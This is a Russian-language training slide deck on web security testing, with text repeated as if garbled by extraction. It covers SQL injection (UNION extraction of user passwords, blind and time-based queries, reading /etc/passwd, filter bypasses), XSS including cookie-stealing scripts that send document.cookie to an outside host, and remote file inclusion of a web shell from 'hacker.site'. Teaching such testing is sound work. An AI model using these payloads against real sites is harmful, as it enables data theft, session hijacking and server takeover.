Тестирование защищенности.Все проще чем кажется.

Содержание

Слайд 2

Зачем нужно тестировать защищенность

90% сайтов опасны для пользователей и представляют угрозу бизнесу.
43%

Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу
сайтов не могут хранить конфиденциальную информацию в БД.
80% Вебмастеров не обновляют opensource продукты вовремя.
99,9% сайтов, которые имеют уязвимость, имеют еще несколько уязвимостей.
48% серверов имеют уязвимости на уровне операционной системы и приложений.

Слайд 3

SQL Injection

Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ,

SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и
работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Слайд 5

Что может получить злоумышленник

Что может получить злоумышленник

Слайд 7

Архитектура уязвимости типа SQL Injection

Архитектура уязвимости типа SQL Injection

Слайд 8

Простейший способ обнаружить уязвимость

Добавляем одинарную кавычку к запросу:
http://www.site.com/?id=1‘
Получаем ошибку типа:
Warning: mysql_fetch_object(): supplied

Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку
argument is not a valid MySQL result resource in /home/mysite/www/htdocs/include/lib/news.php
Или
Видим ту же самую страницу что и по ссылке
http://www.site.com/?id=1

Слайд 9

Почему так происходит?

query =
"SELECT * FROM news WHERE id = '" +

Почему так происходит? query = "SELECT * FROM news WHERE id =
id + "'"
SELECT * FROM news WHERE id = '1''

Слайд 10

Какие еще есть способы проверки?

Использование простых арифметических операций в запросе:
site.com/index.php?id=2-1(Выводит страницу 1)
site.com/index.php?id=1*2(Выводит

Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит
страницу 2)
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
Использование сортировки в запросе:
site.com/index.php?showthread=285+ORDER+BY+1--+
Подстановка бессмысленной информации в запрос
site.com/index.php?id=1 anything (Выводит сообщение об ошибке)

Слайд 11

Как этим пользоваться?


/?id=1' UNION SELECT user,password FROM users--
SELECT title,text FROM news WHERE

Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM
id = '1'
SELECT title,text FROM news WHERE id = '1'
UNION
SELECT user,password FROM users

Слайд 12

Blind SQL injection
Тестирование истинных и ложных запросов:
site.com/index.php?id=2’ AND ‘1’ = ‘1’--
site.com/index.php?id=2’ AND

Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ =
‘1’=‘2’--
Вывод информации в отчете об ошибках:
site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) --
Duplicate entry '5.0.45' for key 1

Слайд 13

Double-blind injection
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100,

Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()),
1, BENCHMARK(2999999,MD5(NOW()))) –
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

Слайд 14

На что еще обращать внимание?

URL:
http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where

На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where

Слайд 15

Практика, или SQL Injection глазами злоумышленника

Определение типа базы данных
Проверка прав пользователя на

Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав
запись файлов
Подбор количества столбцов
Определение вывода на экран
Получение информации о таблицах
Получение информации о колонках в требуемой таблице
Получение данных из таблицы и вывод на экран

Слайд 16

Ошибки характерные для разных видов баз данных

Ошибки характерные для разных видов баз данных

Слайд 17

Подбор количества столбцов

1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем

Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с
такой запрос www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 --
если появилась ошибка, то увеличиваем количество колонок на одну
www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 --
и так пока не исчезнет ошибка и появится пустая страница

Слайд 18

2. Оператор ORDER BY
www.site.com/index.php?id=-1+order+by+1--
ошибки нет, значит столбцов 1 или больше 1
www.site.com/index.php?id=-1+order+by+9999--

2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше

должна появится ошибка, значит столбцов меньше 9999
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)

Слайд 19

Определение вывода

Предположим мы подобрали количество столбцов и их оказалось 4
www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует

Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null
в какой части страницы, какая колонка выводится. Для этого подставим вместо одного из null – произвольный набор символов, в нашем случае «111»
www.site.com/index.php?id=-1+union+select+null,111,null,null--

Слайд 20

Получаем информацию о версии и пользователе

Для получения информации о текущем пользователе используется

Получаем информацию о версии и пользователе Для получения информации о текущем пользователе
функция user()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--
Для определения версии используется функция version()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--

Слайд 21

Чтение и запись файлов

Проверка возможности чтения/записи файлов:
www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'--
Чтение файла
www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--

Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--

Слайд 22

Узнаем таблицы

Для получения информации о таблицах и колонках необходимо обратиться к служебной

Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к
таблице Information_schema
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--

Слайд 23

Получаем информацию о колонках

Перебрав таблицы, определяем ту которая нам будет интересна. Пусть

Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна.
это будет USER, что требуется для получения информации о колонках:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS--
Таким обрfзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добавляя в него оператор WHERE:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добавляя LIMIT+OFFSET узнаём все колонки.

Слайд 24

Фильтрация кавычек

Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку:
ERROR:

Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите
syntax error at or near "user" at character 122
http://www.paulschou.com/tools/xlate/
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)|  |chr(115)||chr(101)||chr(114)--

Слайд 25

Фильтрация кавычек

Второй способ: использование вложенного подзапроса
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--

Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--

Слайд 26

Фильтация пробелов

В случае фильтрации пробелов существуют следующий способы обхода фильтра:
Использование пробельных символов

Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование
«/*!*/» и «/**/» SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#‘ или SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
Использование символов табуляции: %09 – табуляция %0A – символ новой строка %0D – возврат каретки %0B – вертикальная табуляция %0C – символ новой страницы
http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%0 9WHERE%09login='admin'#

Слайд 27

Получение информации из таблицы

Составляем запрос:
www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя пользователя
Можно

Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном
объединять 2 и более колонки разделяя их спец символом
www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user--
Мы увидим запись типа Login:email

Слайд 28

Уязвимость в скрипте авторизации

Поле ввода имени пользователя:
Username’--
Поле ввода пароля:
123' OR login='Admin' –
%

Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля:

Слайд 29

Демонстрация примеров

Демонстрация примеров

Слайд 30

Программы для работы с инъекциями

SQL InjectMe – плагин для Firefox
Absinthe – утилита

Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe
для проведения атак типа SQL Injection
SQL checker – анализатор возможности внедрения SQL кода

Слайд 31

XSS
XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных

XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных
систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты.

Слайд 33

XSS

Цель
Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте
Как

XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на
это сделать?
Внедрить куда-нибудь фрагмент кода типа

Слайд 34

Классификация XSS

Активный XSS
Внедренный скрипт сохраняется в системе и становится доступен для вывода

Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен
другим пользователям
Пассивный XSS
Скрипт передается системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу.

Слайд 35

Чем мы рискуем?

Кража Cookies
var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie;
Кража

Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс =
аутентификационных данных
добавление обработчика события onsubmit к существующей форме
добавление формы с просьбой ввести пароль
Перенаправление пользователя на страницы злоумышленников
DDOS атаки

Слайд 36

Метод обнаружения

/?id="> HTML - код страницы примет вид .. "... В результате

Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид .. alert(1)
браузер выполнит скрипт.

Слайд 37

Типичный случай
Самая распространенная разновидность XSS: ">
Вся суть в ">
После добавления

Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в ">
к форме "> какой-то переменной присваивается значение поля. Переменная обрабатывается, "> закрывает скрипт и выполняет

Слайд 39

Фильтры: определяем наличие и качество

В любое поле вводим проверочную строку: '';!--"=&{()} Далее открываем

Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--"
HTML страницы, ищем слово "XSSTEST" и смотрим на прилегающие к нему символы.
Если символы <> остались – это первый признак наличия уязвимости
Если символы ,"'\ остались такими, как были введены – это второй признак уязвимости (возможно использование дополнительных символов в последующей XSS атаке)
Если в HTML, вы не обнаружили <> - это признак отсутствия фильтрации.
Если открыв HTML вы обнаружили, что <> заменены на другие символы – фильтр функционирует нормально.

Слайд 40

Практика

Допустим фильтр экранирует <>
В этом случае существует вероятность обхода фильтра.
К примеру,

Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К
фильтр настроен на удаление ript>

Слайд 41

Автозакрывающиеся скобки:
>>>>< javascript:alert (' Test

Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ')
')/ javascript:alert(' Test ')/1.jpg и так далее..
Теперь рассмотрим следующий скрипт:
В данном виде скрипт перехватывает cookies пользователя.

Слайд 43

Как воспользоваться этим скриптом?

http://site.ru/free?p='>
http://site.ru/free?p='>
При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот способ

Как воспользоваться этим скриптом? http://site.ru/free?p='> img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie; http://site.ru/free?p='> При этом файл js.js
более надёжен.

Слайд 44

Изменение кодировки
http://ha.ckers.org/xss.html
Изначально скрипт выглядел так:
http://cite.com/test?p='>
После:
%68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A

Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A

Слайд 45

DDoS-атака

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста

DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть
— много запросов, которые не выдерживает атакуемый сервер. Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Слайд 46

Демонстрация примеров

Демонстрация примеров

Слайд 47

Инструменты для обнаружения XSS

XSSme – аддон для Firfox
DOMinator – анализатор наличия DOM-based

Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS
XSS

Слайд 48

PHP Injection

PHP Injection или создание веб шеллов – это второй по популярности

PHP Injection PHP Injection или создание веб шеллов – это второй по
после SQL инъекции тип уязвимостей.

Слайд 49

Уязвимые функции

Eval()
Include()
Require()
Create_function()
Preg_replace()

Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()

Слайд 50

Виды инклудов

Include ("$page.php");
… ?>
Возможен Remote File Inclusion (RFI)

Виды инклудов Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) Include

Include ("files/$page.htm");
… ?>
Возможен Local File Inclusion (LFI) с использованием нулл байта
Include ("$patch/folder/page.php");
… ?>
Возможен RFI при условии создания структуры /folder/page.php на удаленном сервере

Слайд 51

Метод определения уязвимости

index.php?page=shop
Подставим dsdsds вместо shop:
Warning: main(dsdsds.php): failed to open stream: No

Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to
such file or directory in /home/user/www//page.php on line 3
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3

Слайд 52

Веб шелл

Это происходит потому, что код страницы имеет такой элемент
..
Include

Веб шелл Это происходит потому, что код страницы имеет такой элемент ..
("$page.php");

?>
Как этим воспользоваться?
index.php?page=http://hacker.site/shell
Получаем веб шелл, который дает возможность исполнять любые php команды

Слайд 53

Выход за пределы текущего каталога

Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat

Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и
6 ниже 6.0.10 подвержен уязвимости поволяющей перейти к содержимому вышестоящей директории путем указания в пути конструкции "../". 

Слайд 54

Инструменты для обнаружения

Graudit - семантически-статический анализатор кода
RIPS – утилита для поискам уязвимостей в

Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для
PHP коде

Слайд 55

Демонстрация примеров

Демонстрация примеров
Имя файла: Тестирование-защищенности.Все-проще-чем-кажется..pptx
Количество просмотров: 104
Количество скачиваний: 0